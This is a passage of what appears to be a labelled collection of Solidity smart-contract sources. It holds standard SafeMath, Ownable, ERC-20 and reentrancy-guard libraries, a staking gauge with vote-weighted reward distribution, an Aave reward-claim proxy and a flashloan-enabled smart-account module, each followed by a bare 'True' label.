- Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../GSN/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); }

True

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// SPDX-License-Identifier: MIT pragma solidity ^0.6.7; //^0.7.5; library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "add: +"); return c; } function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "sub: -"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "mul: *"); return c; } function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "div: /"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call{value:amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () public { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } contract Gauge is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public constant PICKLE = IERC20(0x429881672B9AE42b8EbA0E26cD9C73711b891Ca5); IERC20 public constant DILL = IERC20(0xbBCf169eE191A1Ba7371F30A1C344bFC498b29Cf); address public constant TREASURY = address(0x066419EaEf5DE53cc5da0d8702b990c5bc7D1AB3); IERC20 public immutable TOKEN; address public immutable DISTRIBUTION; uint256 public constant DURATION = 7 days; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; modifier onlyDistribution() { require(msg.sender == DISTRIBUTION, "Caller is not RewardsDistribution contract"); _; } mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; uint public derivedSupply; mapping(address => uint256) private _balances; mapping(address => uint256) public derivedBalances; mapping(address => uint) private _base; constructor(address _token) public { TOKEN = IERC20(_token); DISTRIBUTION = msg.sender; } function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(derivedSupply) ); } function derivedBalance(address account) public view returns (uint) { uint _balance = _balances[account]; uint _derived = _balance.mul(40).div(100); uint _adjusted = (_totalSupply.mul(DILL.balanceOf(account)).div(DILL.totalSupply())).mul(60).div(100); return Math.min(_derived.add(_adjusted), _balance); } function kick(address account) public { uint _derivedBalance = derivedBalances[account]; derivedSupply = derivedSupply.sub(_derivedBalance); _derivedBalance = derivedBalance(account); derivedBalances[account] = _derivedBalance; derivedSupply = derivedSupply.add(_derivedBalance); } function earned(address account) public view returns (uint256) { return derivedBalances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(DURATION); } function depositAll() external { _deposit(TOKEN.balanceOf(msg.sender), msg.sender); } function deposit(uint256 amount) external { _deposit(amount, msg.sender); } function depositFor(uint256 amount, address account) external { _deposit(amount, account); } function _deposit(uint amount, address account) internal nonReentrant updateReward(account) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Staked(account, amount); TOKEN.safeTransferFrom(account, address(this), amount); } function withdrawAll() external { _withdraw(_balances[msg.sender]); } function withdraw(uint256 amount) external { _withdraw(amount); } function _withdraw(uint amount) internal nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); TOKEN.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; PICKLE.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external { _withdraw(_balances[msg.sender]); getReward(); } function notifyRewardAmount(uint256 reward) external onlyDistribution updateReward(address(0)) { PICKLE.safeTransferFrom(DISTRIBUTION, address(this), reward); if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint balance = PICKLE.balanceOf(address(this)); require(rewardRate <= balance.div(DURATION), "Provided reward too high"); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; if (account != address(0)) { kick(account); } } event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); } interface MasterChef { function deposit(uint, uint) external; function withdraw(uint, uint) external; function userInfo(uint, address) external view returns (uint, uint); } contract ProtocolGovernance { /// @notice governance address for the governance contract address public governance; address public pendingGovernance; /** * @notice Allows governance to change governance (for future upgradability) * @param _governance new governance address to set */ function setGovernance(address _governance) external { require(msg.sender == governance, "setGovernance: !gov"); pendingGovernance = _governance; } /** * @notice Allows pendingGovernance to accept their role as governance (protection pattern) */ function acceptGovernance() external { require(msg.sender == pendingGovernance, "acceptGovernance: !pendingGov"); governance = pendingGovernance; } } contract MasterDill { using SafeMath for uint; /// @notice EIP-20 token name for this token string public constant name = "Master DILL"; /// @notice EIP-20 token symbol for this token string public constant symbol = "mDILL"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public totalSupply = 1e18; mapping (address => mapping (address => uint)) internal allowances; mapping (address => uint) internal balances; /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint amount); constructor() public { balances[msg.sender] = 1e18; emit Transfer(address(0x0), msg.sender, 1e18); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint amount) external returns (bool) { allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint amount) external returns (bool) { _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint amount) external returns (bool) { address spender = msg.sender; uint spenderAllowance = allowances[src][spender]; if (spender != src && spenderAllowance != uint(-1)) { uint newAllowance = spenderAllowance.sub(amount, "transferFrom: exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } function _transferTokens(address src, address dst, uint amount) internal { require(src != address(0), "_transferTokens: zero address"); require(dst != address(0), "_transferTokens: zero address"); balances[src] = balances[src].sub(amount, "_transferTokens: exceeds balance"); balances[dst] = balances[dst].add(amount, "_transferTokens: overflows"); emit Transfer(src, dst, amount); } } contract GaugeProxy is ProtocolGovernance { using SafeMath for uint256; using SafeERC20 for IERC20; MasterChef public constant MASTER = MasterChef(0xbD17B1ce622d73bD438b9E658acA5996dc394b0d); IERC20 public constant DILL = IERC20(0xbBCf169eE191A1Ba7371F30A1C344bFC498b29Cf); IERC20 public constant PICKLE = IERC20(0x429881672B9AE42b8EbA0E26cD9C73711b891Ca5); IERC20 public immutable TOKEN; uint public pid; uint public totalWeight; address[] internal _tokens; mapping(address => address) public gauges; // token => gauge mapping(address => uint) public weights; // token => weight mapping(address => mapping(address => uint)) public votes; // msg.sender => votes mapping(address => address[]) public tokenVote;// msg.sender => token mapping(address => uint) public usedWeights; // msg.sender => total voting weight of user function tokens() external view returns (address[] memory) { return _tokens; } function getGauge(address _token) external view returns (address) { return gauges[_token]; } constructor() public { TOKEN = IERC20(address(new MasterDill())); governance = msg.sender; } // Reset votes to 0 function reset() external { _reset(msg.sender); } // Reset votes to 0 function _reset(address _owner) internal { address[] storage _tokenVote = tokenVote[_owner]; uint256 _tokenVoteCnt = _tokenVote.length; for (uint i = 0; i < _tokenVoteCnt; i ++) { address _token = _tokenVote[i]; uint _votes = votes[_owner][_token]; if (_votes > 0) { totalWeight = totalWeight.sub(_votes); weights[_token] = weights[_token].sub(_votes); votes[_owner][_token] = 0; } } delete tokenVote[_owner]; } // Adjusts _owner's votes according to latest _owner's DILL balance function poke(address _owner) public { address[] memory _tokenVote = tokenVote[_owner]; uint256 _tokenCnt = _tokenVote.length; uint256[] memory _weights = new uint[](_tokenCnt); uint256 _prevUsedWeight = usedWeights[_owner]; uint256 _weight = DILL.balanceOf(_owner); for (uint256 i = 0; i < _tokenCnt; i ++) { uint256 _prevWeight = votes[_owner][_tokenVote[i]]; _weights[i] = _prevWeight.mul(_weight).div(_prevUsedWeight); } _vote(_owner, _tokenVote, _weights); } function _vote(address _owner, address[] memory _tokenVote, uint256[] memory _weights) internal { // _weights[i] = percentage * 100 _reset(_owner); uint256 _tokenCnt = _tokenVote.length; uint256 _weight = DILL.balanceOf(_owner); uint256 _totalVoteWeight = 0; uint256 _usedWeight = 0; for (uint256 i = 0; i < _tokenCnt; i ++) { _totalVoteWeight = _totalVoteWeight.add(_weights[i]); } for (uint256 i = 0; i < _tokenCnt; i ++) { address _token = _tokenVote[i]; address _gauge = gauges[_token]; uint256 _tokenWeight = _weights[i].mul(_weight).div(_totalVoteWeight); if (_gauge != address(0x0)) { _usedWeight = _usedWeight.add(_tokenWeight); totalWeight = totalWeight.add(_tokenWeight); weights[_token] = weights[_token].add(_tokenWeight); tokenVote[_owner].push(_token); votes[_owner][_token] = _tokenWeight; } } usedWeights[_owner] = _usedWeight; } // Vote with DILL on a gauge function vote(address[] calldata _tokenVote, uint256[] calldata _weights) external { require(_tokenVote.length == _weights.length); _vote(msg.sender, _tokenVote, _weights); } // Add new token gauge function addGauge(address _token) external { require(msg.sender == governance, "!gov"); require(gauges[_token] == address(0x0), "exists"); gauges[_token] = address(new Gauge(_token)); _tokens.push(_token); } // Sets MasterChef PID function setPID(uint _pid) external { require(msg.sender == governance, "!gov"); require(pid == 0, "pid has already been set"); require(_pid > 0, "invalid pid"); pid = _pid; } // Deposits mDILL into MasterChef function deposit() public { require(pid > 0, "pid not initialized"); IERC20 _token = TOKEN; uint _balance = _token.balanceOf(address(this)); _token.safeApprove(address(MASTER), 0); _token.safeApprove(address(MASTER), _balance); MASTER.deposit(pid, _balance); } // Fetches Pickle function collect() public { (uint _locked,) = MASTER.userInfo(pid, address(this)); MASTER.withdraw(pid, _locked); deposit(); } function length() external view returns (uint) { return _tokens.length; } function distribute() external { collect(); uint _balance = PICKLE.balanceOf(address(this)); if (_balance > 0 && totalWeight > 0) { for (uint i = 0; i < _tokens.length; i++) { address _token = _tokens[i]; address _gauge = gauges[_token]; uint _reward = _balance.mul(weights[_token]).div(totalWeight); if (_reward > 0) { PICKLE.safeApprove(_gauge, 0); PICKLE.safeApprove(_gauge, _reward); Gauge(_gauge).notifyRewardAmount(_reward); } } } } }

True

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// SPDX-License-Identifier: MIT pragma solidity =0.7.6; abstract contract IStakedTokenIncentivesController { function claimRewards( address[] calldata assets, uint256 amount, address to ) external virtual returns (uint256); } contract AaveClaimProxy { address public constant STAKED_CONTROLLER_ADDR = 0xd784927Ff2f95ba542BfC824c8a8a98F3495f6b5; function claimRewards( address[] memory assets, uint256 amount, address to ) public { IStakedTokenIncentivesController(STAKED_CONTROLLER_ADDR).claimRewards( assets, amount, to ); } }

True

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pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import { Variables } from "./variables.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; /** * @title InstaAccountV2. * @dev DeFi Smart Account Wallet. * @notice Flashloan Module */ interface ConnectorsInterface { function isConnectors(string[] calldata connectorNames) external view returns (bool, address[] memory); } interface FlashloanInterface { function initiateFlashLoan( address token, uint256 amount, uint256 route, bytes calldata data ) external; } contract Constants is Variables { // InstaIndex Address. address public immutable instaIndex; // Connectors Address. address public immutable connectorsM1; // Instapool Address. address public immutable flashloan; uint256 internal constant _NOT_ENTERED = 1; uint256 internal constant _ENTERED = 2; constructor(address _instaIndex, address _connectors, address _flashloan) { connectorsM1 = _connectors; instaIndex = _instaIndex; flashloan = _flashloan; } } contract InstaImplementationM2 is Constants { constructor(address _instaIndex, address _connectors, address _flashloan) Constants(_instaIndex, _connectors, _flashloan) {} function decodeEvent(bytes memory response) internal pure returns (string memory _eventCode, bytes memory _eventParams) { if (response.length > 0) { (_eventCode, _eventParams) = abi.decode(response, (string, bytes)); } } event LogCast( address indexed origin, address indexed sender, uint256 value, string[] targetsNames, address[] targets, string[] eventNames, bytes[] eventParams ); event LogFlashCast( address indexed origin, address tokens, uint256 amount, uint256 route ); receive() external payable {} /** * @dev Delegate the calls to Connector. * @param _target Connector address * @param _data CallData of function. */ function spell(address _target, bytes memory _data) internal returns (bytes memory response) { require(_target != address(0), "target-invalid"); assembly { let succeeded := delegatecall(gas(), _target, add(_data, 0x20), mload(_data), 0, 0) let size := returndatasize() response := mload(0x40) mstore(0x40, add(response, and(add(add(size, 0x20), 0x1f), not(0x1f)))) mstore(response, size) returndatacopy(add(response, 0x20), 0, size) switch iszero(succeeded) case 1 { // throw if delegatecall failed returndatacopy(0x00, 0x00, size) revert(0x00, size) } } } function _cast( string[] calldata _targetNames, bytes[] calldata _datas, address _origin, uint _length ) internal { require(_status == _ENTERED, "2: cast-not-entered"); string[] memory eventNames = new string[](_length); bytes[] memory eventParams = new bytes[](_length); (bool isOk, address[] memory _targets) = ConnectorsInterface(connectorsM1).isConnectors(_targetNames); require(isOk, "2: not-connector"); for (uint i = 0; i < _length; i++) { bytes memory response = spell(_targets[i], _datas[i]); (eventNames[i], eventParams[i]) = decodeEvent(response); } emit LogCast( _origin, msg.sender, msg.value, _targetNames, _targets, eventNames, eventParams ); _status = _NOT_ENTERED; } /** * @dev Callback function for flashloan * @param sender msg.sender of the cast(). * @param _token flashloan token address. * @param _amount flashloan amount. * @param _targetNames Array of Connector address. * @param _datas Array of Calldata. */ function flashCallback( address sender, address _token, uint256 _amount, string[] calldata _targetNames, bytes[] calldata _datas, address _origin ) external payable { uint256 _length = _targetNames.length; require(_auth[sender], "2: not-an-owner"); require(msg.sender == flashloan, "2: not-flashloan-contract"); require(_length != 0, "2: length-invalid"); require(_length == _datas.length , "2: array-length-invalid"); _cast(_targetNames, _datas, _origin, _length); if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { uint256 ethBalance = address(this).balance; uint256 transferAmt = ethBalance > _amount ? _amount : ethBalance; payable(flashloan).transfer(transferAmt); } else { uint256 tokenBalance = IERC20(_token).balanceOf(address(this)); uint256 transferAmt = tokenBalance > _amount ? _amount : tokenBalance; SafeERC20.safeTransfer(IERC20(_token), flashloan, transferAmt); } } /** * @dev This function is similar cast() on M1 with flashloan access. * @param _targetNames Array of Connector names. * @param _datas Array of Calldata. * @param _token Flashloan address. * @param _amount Flashloan amount. */ function cast( string[] calldata _targetNames, bytes[] calldata _datas, address _token, uint256 _amount, uint route, // 0 for dydx route address _origin ) external { require(_status != _ENTERED, "2: cast-entered"); _status = _ENTERED; require(_auth[msg.sender], "2: permission-denied"); if (_amount == 0) { uint256 _length = _targetNames.length; require(_length != 0, "2: length-invalid"); require(_length == _datas.length , "2: array-length-invalid"); _cast(_targetNames, _datas, _origin, _length); } else { bytes memory data = abi.encodeWithSelector( this.flashCallback.selector, msg.sender, _token, _amount, _targetNames, _datas, flashloan ); FlashloanInterface(flashloan).initiateFlashLoan(_token, _amount, route, data); emit LogFlashCast(_origin, _token, _amount, route); } require(_status == _NOT_ENTERED, "2: cast-still-entered"); } } pragma solidity ^0.7.0; contract Variables { // M1: Auth Module(Address of Auth => bool). mapping (address => bool) internal _auth; // M2: Reentrancy Guard variable uint256 internal _status; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * 